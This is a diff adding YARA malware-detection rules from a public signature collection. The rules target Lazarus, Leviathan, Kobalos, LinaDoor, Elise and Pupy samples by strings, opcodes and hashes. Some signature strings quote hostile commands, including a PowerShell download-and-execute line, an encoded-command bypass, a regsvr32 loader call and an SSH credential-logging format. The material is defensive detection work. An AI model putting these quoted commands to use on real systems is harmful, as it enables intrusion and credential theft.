+      $x8 = { 64 41 44 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x9 = { 64 41 44 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x10 = { 64 41 44 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x11 = { 64 41 44 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x12 = { 64 7F 44 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x13 = { 64 41 44 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x14 = { 64 41 44 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x15 = { 64 41 44 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x16 = { 64 41 44 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x17 = { 64 41 49 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x18 = { 64 41 49 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x19 = { 64 41 49 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x20 = { 64 41 49 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x21 = { 64 41 49 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x22 = { 64 41 49 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x23 = { 64 7F 44 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x24 = { 64 41 49 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x25 = { 64 41 49 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x26 = { 6A 7F 44 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x27 = { 6A 7F 44 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x28 = { 6A 7F 44 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x29 = { 6A 7F 44 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x30 = { 6A 7F 44 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x31 = { 6A 7F 44 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x32 = { 6A 7F 44 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x33 = { 6A 7F 44 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x34 = { 64 7F 44 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x35 = { 6A 7F 49 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x36 = { 6A 7F 49 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x37 = { 6A 7F 49 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x38 = { 6A 7F 49 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x39 = { 6A 7F 49 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x40 = { 6A 7F 49 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x41 = { 6A 7F 49 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x42 = { 6A 7F 49 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x43 = { 6A 41 44 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x44 = { 6A 41 44 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x45 = { 64 7F 44 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x46 = { 6A 41 44 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x47 = { 6A 41 44 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x48 = { 6A 41 44 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x49 = { 6A 41 44 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x50 = { 6A 41 44 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x51 = { 6A 41 44 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x52 = { 6A 41 49 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x53 = { 6A 41 49 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x54 = { 6A 41 49 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x55 = { 6A 41 49 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x56 = { 64 7F 44 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x57 = { 6A 41 49 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x58 = { 6A 41 49 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x59 = { 6A 41 49 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x60 = { 6A 41 49 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x61 = { 64 7F 44 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x62 = { 64 7F 44 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x63 = { 64 7F 49 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x64 = { 64 7F 49 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+   condition:
+      filesize > 50KB and filesize < 200KB and ( $s0 and 1 of ($x*) )
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_lazarus_gopuram.yar b/yara-Neo23x0/apt_lazarus_gopuram.yar
new file mode 100644
index 0000000..bde5b69
--- /dev/null
+++ b/yara-Neo23x0/apt_lazarus_gopuram.yar
@@ -0,0 +1,17 @@
+rule MAL_Gopuram_Apr23 {
+    meta:
+        description = "Detects Lazarus Gopuram malware"
+        reference = "https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344/"
+        license = "Detection Rule License 1.1 https://github.com/SigmaHQ/Detection-Rule-License"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-04-04"
+        hash = "beb775af5196f30e0ee021790a4978ca7a7ac2a7cf970a5a620ffeb89cc60b2c"
+        hash = "97b95b4a5461f950e712b82783930cb2a152ec0288c00a977983ca7788342df7"
+        id = "e0bb43b0-542b-5c8e-bcba-0326f80efaa0"
+    strings:
+        // VTgrep content:"%s.TxR.0.regtrans-ms" hits only the 2 hashes above
+        $path = "%s.TxR.0.regtrans-ms"
+    condition:
+        uint16(0) == 0x5A4D and $path and filesize < 10MB
+}
+
diff --git a/yara-Neo23x0/apt_lazarus_jan21.yar b/yara-Neo23x0/apt_lazarus_jan21.yar
new file mode 100644
index 0000000..2eada49
--- /dev/null
+++ b/yara-Neo23x0/apt_lazarus_jan21.yar
@@ -0,0 +1,25 @@
+
+rule SUSP_VEST_Encryption_Core_Accumulator_Jan21 {
+   meta:
+      description = "Detects VEST encryption core accumulator in PE file as used by Lazarus malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/ochsenmeier/status/1354737155495649280"
+      date = "2021-01-28"
+      score = 70
+      hash1 = "7cd3ca8bdfb44e98a4b9d0c6ad77546e03d169bda9bdf3d1bcf339f68137af23"
+      id = "8343652b-8865-5213-b735-d6d4084e4a84"
+   strings:
+      $sc1 = { 4F 70 46 DA E1 8D F6 41 59 E8 5D 26 1E CC 2F 89
+               26 6D 52 BA BC 11 6B A9 C6 47 E4 9C 1E B6 65 A2
+               B6 CD 90 47 1C DF F8 10 4B D2 7C C4 72 25 C6 97
+               25 5D C6 1D 4B 36 BC 38 36 33 F8 89 B4 4C 65 A7
+               96 CA 1B 63 C3 4B 6A 63 DC 85 4C 57 EE 2A 05 C7
+               0C E7 39 35 8A C1 BF 13 D9 52 51 3D 2E 41 F5 72
+               85 23 FE A1 AA 53 61 3B 25 5F 62 B4 36 EE 2A 51
+               AF 18 8E 9A C6 CF C4 07 4A 9B 25 9B 76 62 0E 3E
+               96 3A A7 64 23 6B B6 19 BC 2D 40 D7 36 3E E2 85
+               9A D1 22 9F BC 30 15 9F C2 5D F1 23 E6 3A 73 C0 }
+   condition:
+      uint16(0) == 0x5a4d and
+      1 of them
+}
diff --git a/yara-Neo23x0/apt_lazarus_jun18.yar b/yara-Neo23x0/apt_lazarus_jun18.yar
new file mode 100644
index 0000000..cc7d236
--- /dev/null
+++ b/yara-Neo23x0/apt_lazarus_jun18.yar
@@ -0,0 +1,83 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-06-01
+   Identifier: Lazarus Group
+   Reference: https://twitter.com/DrunkBinary/status/1002587521073721346
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule APT_Lazarus_Dropper_Jun18_1 {
+   meta:
+      description = "Detects Lazarus Group Dropper"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/DrunkBinary/status/1002587521073721346"
+      date = "2018-06-01"
+      hash1 = "086a50476f5ceee4b10871c1a8b0a794e96a337966382248a8289598b732bd47"
+      hash2 = "9f2d4fd79d3c68270102c4c11f3e968c10610a2106cbf1298827f8efccdd70a9"
+      id = "226be9d4-93c0-5512-9667-3388cd6f20d4"
+   strings:
+      $s1 = /%s\\windows10-kb[0-9]{7}.exe/ fullword ascii
+      $s2 = "EYEJIW" fullword ascii
+      $s3 = "update" fullword wide /* Goodware String - occured 254 times */
+   condition:
+      uint16(0) == 0x5a4d and filesize < 21000KB and (
+        pe.imphash() == "fcac768eff9896d667a7c706d70712ce" or
+        all of them
+      )
+}
+
+rule APT_Lazarus_RAT_Jun18_1 {
+   meta:
+      description = "Detects Lazarus Group RAT"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/DrunkBinary/status/1002587521073721346"
+      date = "2018-06-01"
+      hash1 = "c10363059c57c52501c01f85e3bb43533ccc639f0ea57f43bae5736a8e7a9bc8"
+      hash2 = "e98991cdd9ddd30adf490673c67a4f8241993f26810da09b52d8748c6160a292"
+      id = "fd394d15-70c5-543a-a845-2058f296b5f8"
+   strings:
+      $a1 = "www.marmarademo.com/include/extend.php" fullword ascii
+      $a2 = "www.33cow.com/include/control.php" fullword ascii
+      $a3 = "www.97nb.net/include/arc.sglistview.php" fullword ascii
+
+      $c1 = "Content-Disposition: form-data; name=\"file1\"; filename=\"example.dat\"" fullword ascii
+      $c2 = "Content-Disposition: form-data; name=\"file1\"; filename=\"pratice.pdf\"" fullword ascii
+      $c3 = "Content-Disposition: form-data; name=\"file1\"; filename=\"happy.pdf\"" fullword ascii
+      $c4 = "Content-Disposition: form-data; name=\"file1\"; filename=\"my.doc\"" fullword ascii
+      $c5 = "Content-Disposition: form-data; name=\"board_id\"" fullword ascii
+
+      $s1 = "Winhttp.dll" fullword ascii
+      $s2 = "Wsock32.dll" fullword ascii
+      $s3 = "WM*.tmp" fullword ascii
+      $s4 = "FM*.tmp" fullword ascii
+      $s5 = "Cache-Control: max-age=0" fullword ascii /* Goodware String - occured 1 times */
+   condition:
+      uint16(0) == 0x5a4d and filesize < 500KB and (
+         1 of ($a*) or
+         2 of ($c*) or
+         4 of them
+      )
+}
+
+rule APT_Lazarus_RAT_Jun18_2 {
+   meta:
+      description = "Detects Lazarus Group RAT"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/DrunkBinary/status/1002587521073721346"
+      date = "2018-06-01"
+      hash1 = "e6096fb512a6d32a693491f24e67d772f7103805ad407dc37065cebd1962a547"
+      id = "4f2e280e-ed76-5fb9-b137-5191bbea2155"
+   strings:
+      $s1 = "\\KB\\Release\\" ascii
+      $s3 = "KB, Version 1.0" fullword wide
+      $s4 = "TODO: (c) <Company name>.  All rights reserved." fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 5000KB and 2 of them
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_lazarus_vhd_ransomware.yar b/yara-Neo23x0/apt_lazarus_vhd_ransomware.yar
new file mode 100644
index 0000000..ce8497d
--- /dev/null
+++ b/yara-Neo23x0/apt_lazarus_vhd_ransomware.yar
@@ -0,0 +1,43 @@
+
+rule APT_MAL_NK_Lazarus_VHD_Ransomware_Oct20_1 {
+   meta:
+      description = "Detects Lazarus VHD Ransomware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/"
+      date = "2020-10-05"
+      hash1 = "52888b5f881f4941ae7a8f4d84de27fc502413861f96ee58ee560c09c11880d6"
+      hash2 = "5e78475d10418c6938723f6cfefb89d5e9de61e45ecf374bb435c1c99dd4a473"
+      hash3 = "6cb9afff8166976bd62bb29b12ed617784d6e74b110afcf8955477573594f306"
+      id = "5cb3c136-ec5c-5596-8dcc-e4c6ef33050a"
+   strings:
+      $s1 = "HowToDecrypt.txt" wide fullword
+      $s2 = "rsa.cpp" wide fullword
+      $s3 = "sc stop \"Microsoft Exchange Compliance Service\"" ascii fullword
+
+      $op1 = { 8b 8d bc fc ff ff 8b 94 bd 34 03 00 00 33 c0 50 }
+      $op2 = { 8b 8d 98 f9 ff ff 8d 64 24 00 8b 39 3b bc 85 34 }
+      $op3 = { 8b 94 85 34 03 00 00 89 11 40 83 c1 04 3b 06 7c }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 400KB and
+      2 of them
+}
+
+rule APT_MAL_NK_Lazarus_VHD_Ransomware_Oct20_2 {
+   meta:
+      description = "Detects Lazarus VHD Ransomware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/"
+      date = "2020-10-05"
+      hash1 = "097ca829e051a4877bca093cee340180ff5f13a9c266ad4141b0be82aae1a39b"
+      hash2 = "73a10be31832c9f1cbbd798590411009da0881592a90feb472e80025dfb0ea79"
+      id = "b75668de-93e6-57e7-90f0-fa335295be7c"
+   strings:
+      $op1 = { f9 36 88 08 8d ad fc ff ff ff 66 ff c1 e9 72 86 }
+      $op2 = { c6 c4 58 0f a4 c8 12 8d ad ff ff ff ff 0f b6 44 }
+      $op3 = { 88 02 66 c1 f0 54 8d bf fc ff ff ff 0f ba e0 19 }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 9000KB and
+      all of them
+}
diff --git a/yara-Neo23x0/apt_leviathan.yar b/yara-Neo23x0/apt_leviathan.yar
new file mode 100644
index 0000000..209b217
--- /dev/null
+++ b/yara-Neo23x0/apt_leviathan.yar
@@ -0,0 +1,96 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-10-18
+   Identifier: Leviathan Phishing Attacks
+   Reference: https://goo.gl/MZ7dRg
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule SeDLL_Javascript_Decryptor {
+   meta:
+      description = "Detects SeDll - DLL is used for decrypting and executing another JavaScript backdoor such as Orz"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/MZ7dRg"
+      date = "2017-10-18"
+      modified = "2023-01-07"
+      hash1 = "146aa9a0ec013aa5bdba9ea9d29f59d48d43bc17c6a20b74bb8c521dbb5bc6f4"
+      id = "8fafd139-0c4f-5c51-af8f-b4917d2d69b0"
+   strings:
+      $x1 = "SEDll_Win32.dll" fullword ascii
+      $x2 = "regsvr32 /s \"%s\" DR __CIM__" wide
+
+      $s1 = "WScriptW" fullword ascii
+      $s2 = "IWScript" fullword ascii
+      $s3 = "%s\\%s~%d" fullword wide
+      $s4 = "PutBlockToFileWW" fullword ascii
+      $s5 = "CheckUpAndDownWW" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 40KB and ( 1 of ($x*) or 4 of them )
+}
+
+rule Leviathan_CobaltStrike_Sample_1 {
+   meta:
+      description = "Detects Cobalt Strike sample from Leviathan report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/MZ7dRg"
+      date = "2017-10-18"
+      hash1 = "5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362"
+      id = "e29072d8-b4ea-5e94-8a1c-0a1baec5f423"
+   strings:
+      $x1 = "a54c81.dll" fullword ascii
+      $x2 = "%d is an x64 process (can't inject x86 content)" fullword ascii
+      $x3 = "Failed to impersonate logged on user %d (%u)" fullword ascii
+
+      $s1 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii
+      $s2 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s" fullword ascii
+      $s3 = "could not run command (w/ token) because of its length of %d bytes!" fullword ascii
+      $s4 = "could not write to process memory: %d" fullword ascii
+      $s5 = "%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" fullword ascii
+      $s6 = "Could not connect to pipe (%s): %d" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 600KB and ( 1 of ($x*) or 3 of them )
+}
+
+rule MockDll_Gen {
+   meta:
+      description = "Detects MockDll - regsvr DLL loader"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/MZ7dRg"
+      date = "2017-10-18"
+      hash1 = "bfc5c6817ff2cc4f3cd40f649e10cc9ae1e52139f35fdddbd32cb4d221368922"
+      hash2 = "80b931ab1798d7d8a8d63411861cee07e31bb9a68f595f579e11d3817cfc4aca"
+      id = "904a0649-27e7-5024-aa6b-ddb23bba6202"
+   strings:
+      $x1 = "mock_run_ini_Win32.dll" fullword ascii
+      $x2 = "mock_run_ini_x64.dll" fullword ascii
+
+      $s1 = "RealCmd=%s %s" fullword ascii
+      $s2 = "MockModule=%s" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 20KB and ( 1 of ($x*) or 2 of them )
+}
+
+rule VBScript_Favicon_File {
+   meta:
+      description = "VBScript cloaked as Favicon file used in Leviathan incident"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/MZ7dRg"
+      date = "2017-10-18"
+      modified = "2023-01-06"
+      hash1 = "39c952c7e14b6be5a9cb1be3f05eafa22e1115806e927f4e2dc85d609bc0eb36"
+      id = "84147d4e-d062-5ba4-8019-6bf4b72c36c6"
+   strings:
+      $x1 = "myxml = '<?xml version=\"\"1.0\"\" encoding=\"\"UTF-8\"\"?>';myxml = myxml +'<root>" ascii
+      $x2 = ".Run \"taskkill /im mshta.exe" ascii
+      $x3 = "<script language=\"VBScript\">Window.ReSizeTo 0, 0 : Window.moveTo -2000,-2000 :" ascii
+
+      $s1 = ".ExpandEnvironmentStrings(\"%ALLUSERSPROFILE%\") &" ascii
+      $s2 = ".ExpandEnvironmentStrings(\"%temp%\") & " ascii
+   condition:
+      filesize < 100KB and ( uint16(0) == 0x733c and 1 of ($x*) )
+      or ( 3 of them )
+}
diff --git a/yara-Neo23x0/apt_lnx_kobalos.yar b/yara-Neo23x0/apt_lnx_kobalos.yar
new file mode 100644
index 0000000..4354aa6
--- /dev/null
+++ b/yara-Neo23x0/apt_lnx_kobalos.yar
@@ -0,0 +1,76 @@
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These YARA rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2020, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+rule APT_MAL_LNX_Kobalos {
+    meta:
+        description = "Kobalos malware"
+        author = "Marc-Etienne M.Leveille"
+        date = "2020-11-02"
+        reference = "https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+        id = "dfa47e30-c093-57f6-af01-72a2534cc6f4"
+    strings:
+        $encrypted_strings_sizes = {
+            05 00 00 00 09 00 00 00  04 00 00 00 06 00 00 00
+            08 00 00 00 08 00 00 00  02 00 00 00 02 00 00 00
+            01 00 00 00 01 00 00 00  05 00 00 00 07 00 00 00
+            05 00 00 00 05 00 00 00  05 00 00 00 0A 00 00 00
+        }
+        $password_md5_digest = { 3ADD48192654BD558A4A4CED9C255C4C }
+        $rsa_512_mod_header = { 10 11 02 00 09 02 00 }
+        $strings_rc4_key = { AE0E05090F3AC2B50B1BC6E91D2FE3CE }
+
+    condition:
+        uint16(0) == 0x457f and /* modification by Florian Roth to avoid false posirives */
+        any of them
+}
+
+rule APT_MAL_LNX_Kobalos_SSH_Credential_Stealer {
+    meta:
+        description = "Kobalos SSH credential stealer seen in OpenSSH client"
+        author = "Marc-Etienne M.Leveille"
+        date = "2020-11-02"
+        reference = "https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+        id = "0f923f92-c5d8-500d-9a2e-634ca7945c5c"
+    strings:
+        $ = "user: %.128s host: %.128s port %05d user: %.128s password: %.128s"
+
+    condition:
+        uint16(0) == 0x457f and /* modification by Florian Roth to avoid false posirives */
+        any of them
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_lnx_linadoor_rootkit.yar b/yara-Neo23x0/apt_lnx_linadoor_rootkit.yar
new file mode 100644
index 0000000..edefddf
--- /dev/null
+++ b/yara-Neo23x0/apt_lnx_linadoor_rootkit.yar
@@ -0,0 +1,37 @@
+
+rule MAL_LNX_LinaDoor_Rootkit_May22 {
+   meta:
+      description = "Detects LinaDoor Linux Rootkit"
+      author = "Florian Roth"
+      reference = "Internal Research"
+      date = "2022-05-19"
+      modified = "2023-05-16"
+      score = 85
+      hash1 = "25ff1efe36eb15f8e19411886217d4c9ec30b42dca072b1bf22f041a04049cd9"
+      hash2 = "4792e22d4c9996af1cb58ed54fee921a7a9fdd19f7a5e7f268b6793cdd1ab4e7"
+      hash3 = "9067230a0be61347c0cf5c676580fc4f7c8580fc87c932078ad0c3f425300fb7"
+      hash4 = "940b79dc25d1988dabd643e879d18e5e47e25d0bb61c1f382f9c7a6c545bfcff"
+      hash5 = "a1df5b7e4181c8c1c39de976bbf6601a91cde23134deda25703bc6d9cb499044"
+      hash6 = "c4eea99658cd82d48aaddaec4781ce0c893de42b33376b6c60a949008a3efb27"
+      hash7 = "c5651add0c7db3bbfe0bbffe4eafe9cd5aa254d99be7e3404a2054d6e07d20e7"
+      id = "e2f250b4-9a8a-5d70-83d7-5d12ad3763fb"
+   strings:
+      $s1 = "/dev/net/.../rootkit_/" ascii
+      $s2 = "did_exec" ascii fullword
+      $s3 = "rh_reserved_tp_target" ascii fullword
+      $s4 = "HIDDEN_SERVICES" ascii fullword
+      $s5 = "bypass_udp_ports" ascii fullword
+      $s6 = "DoBypassIP" ascii fullword
+
+      $op1 = { 74 2a 4c 89 ef e8 00 00 00 00 48 89 da 4c 29 e2 48 01 c2 31 c0 4c 39 f2 }
+      $op2 = { e8 00 00 00 00 48 89 da 4c 29 e2 48 01 c2 31 c0 4c 39 f2 48 0f 46 c3 5b }
+      $op3 = { 48 89 c3 74 2a 4c 89 ef e8 00 00 00 00 48 89 da 4c 29 e2 48 01 c2 31 c0 }
+      $op4 = { 4c 29 e2 48 01 c2 31 c0 4c 39 f2 48 0f 46 c3 5b 41 5c 41 5d }
+
+      $fp1 = "/wgsyncdaemon.pid"
+   condition:
+      uint16(0) == 0x457f and
+      filesize < 2000KB and 2 of them 
+      and not 1 of ($fp*)
+      or 4 of them
+}
diff --git a/yara-Neo23x0/apt_lotusblossom_elise.yar b/yara-Neo23x0/apt_lotusblossom_elise.yar
new file mode 100644
index 0000000..25d2621
--- /dev/null
+++ b/yara-Neo23x0/apt_lotusblossom_elise.yar
@@ -0,0 +1,32 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-01-24
+   Identifier: Lotus Blossom Elise Malware
+   Reference: https://community.rsa.com/community/products/netwitness/blog/2018/01/30/apt32-continues-asean-targeting
+*/
+
+import "pe"
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Elise_Jan18_1 {
+   meta:
+      description = "Detects Elise malware samples - fake Norton Security NavShExt.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/blu3_team/status/955971742329135105"
+      date = "2018-01-24"
+      hash1 = "6dc2a49d58dc568944fef8285ad7a03b772b9bdf1fe4bddff3f1ade3862eae79"
+      id = "8e4f4ec8-5d31-5990-8c14-861423571a79"
+   strings:
+      $s1 = "NavShExt.dll" fullword wide
+      $s2 = "Norton Security" fullword wide
+
+      $a1 = "donotbotherme" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 250KB and (
+        pe.imphash() == "e9478ee4ebf085d1f14f64ba96ef082f" or
+        ( 1 of ($s*) and $a1 )
+      )
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_magichound.yar b/yara-Neo23x0/apt_magichound.yar
new file mode 100644
index 0000000..1edcd9a
--- /dev/null
+++ b/yara-Neo23x0/apt_magichound.yar
@@ -0,0 +1,50 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-02-17
+   Identifier: Magic Hound
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule APT_PupyRAT_PY {
+   meta:
+      description = "Detects Pupy RAT"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations"
+      date = "2017-02-17"
+      hash1 = "8d89f53b0a6558d6bb9cdbc9f218ef699f3c87dd06bc03dd042290dedc18cb71"
+      id = "cdd689e3-437e-514d-a058-fad80ce0639e"
+   strings:
+      $x1 = "reflective_inject_dll" fullword ascii
+      $x2 = "ImportError: pupy builtin module not found !" fullword ascii
+      $x3 = "please start pupy from either it's exe stub or it's reflective DLLR;" fullword ascii
+      $x4 = "[INJECT] inject_dll." fullword ascii
+      $x5 = "import base64,zlib;exec zlib.decompress(base64.b64decode('eJzzcQz1c/ZwDbJVT87Py0tNLlHnAgA56wXS'))" fullword ascii
+
+      $op1 = { 8b 42 0c 8b 78 14 89 5c 24 18 89 7c 24 14 3b fd } /* Opcode */
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 20000KB and 1 of them ) or ( 2 of them )
+}
+
